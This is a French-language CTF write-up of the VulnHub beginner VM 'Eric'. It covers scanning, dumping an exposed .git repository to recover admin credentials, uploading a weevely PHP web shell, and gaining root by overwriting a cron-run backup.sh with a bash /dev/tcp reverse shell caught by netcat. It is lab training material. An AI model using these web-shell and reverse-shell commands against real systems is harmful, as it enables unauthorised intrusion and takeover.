SP: eric ~ VulnHub

Bertrand #ProHacktive.io
ProHacktive
Published in
4 min readMay 6, 2020

Au programme aujourd’hui un CTF Beginner avec la VM Eric disponible sur VulnHub.com. Alors on nous indique qu’il y a deux flags à trouver : /root/flag.txt et /home/eric/flag.txt.

On nous indique que le DHCP est activé sur la VM Eric. La première chose à faire va être de déterminer son adresse IP via netdiscover. La VM se trouve en 192.168.1.82.

Scanning :

On va lancer un Nmap pour déterminer les ports ouverts sur la VM

nmap -A 192.168.1.82

Les ports 22 et 80 sont ouverts et on note qu’il y a un dépôt git.

Enumération :

On accède via firefox à 192.168.1.82

On a un blog en construction… On va essayer de déterminer s’il y a d’autres pages sur le serveur http via Dirbuster.

dirb http://192.168.1.82

On obtient des informations intéressantes. D’une part, il y a un script admin.php et d’autre part, on a un répertoire upload. En se connectant au script admin.php, on obtient un formulaire d’authentification. Il faut trouver un moyen d’avoir les identifiants de connexion.

Exploitation :

On va essayer d’exploiter le dépôt git via GitTools

git clone https://github.com/internetwache/GitTools

cd GitTools

cd Dumper

./gitdumper.sh http://192.168.1.82/.git/ dest

Avec le dumper, on a essayer de faire un download des informations contenues dans le dépôt git. On va maintenant essayer de faire une extraction.

cd ../Extractor

./extractor.sh ../Dumper/dest ./dest

On voit qu’on a des admin.php qu’il faut explorer. Ce sont des copies à un instant t du formulaire d’authentification.

cd dest/2–3db5628b550f5c9c9f6f663cd158374035a6eaa0

cat admin.php

On a trouvé les valeurs des champs “username” et “password”. On va pouvoir essayer de se connecter sur la page admin.php.

La partie “admin” comporte un formulaire d’ajout de post. On note qu’il y a possibilité d’uploader des fichiers et on se rappelle que Dirbuster avait trouvé un répertoire “upload”. Un reverse shell php pourrait nous permettre de se connecter à la machine.

weevely generate password myshell.php

On upload maintenant le fichier myshell.php

On accède maintenant à notre reverse shell via :

weevely http://192.168.1.82/upload/myshell.php password

ls

cd /home

cd eric

ls -al

cat flag.txt

Voilà on a obtenu notre premier drapeau !

Escalade de privilèges :

Maintenant il va falloir trouver le moyen d’être root. Dans le répertoire “eric”, on voit un fichier backup.sh qui est en root:root et qui contient une sauvegarde du site internet. Cela arrive fréquemment dans les CTF qu’un script de backup soit lancé via une tâche cron. L’idée va donc être de remplacer le contenu de “backup.sh” par un reverse shell bash. Voici un site répertoriant des reverse shell : https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/#Bash.

On va utiliser celui-là :

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

<IP>: l’adresse IP de la machine avec laquelle vous menez l’attaque

echo “0<&196-;exec 196<>/dev/tcp/192.168.1.97/4455;sh <&196 >&196 2>&196” > backup.sh

Sur un autre terminal

nc -lvp 4455

On attend que le script backup.sh soit lancé. Le reverse shell fonctionne !

id

ls

cat flag.txt

Et voilà, on est root et on a obtenu les deux flags.

--

--

Bertrand #ProHacktive.io
ProHacktive

Security Developer chez ProHacktive.io. Strong interest in pentesting and solving CTF (Ethical Hacker).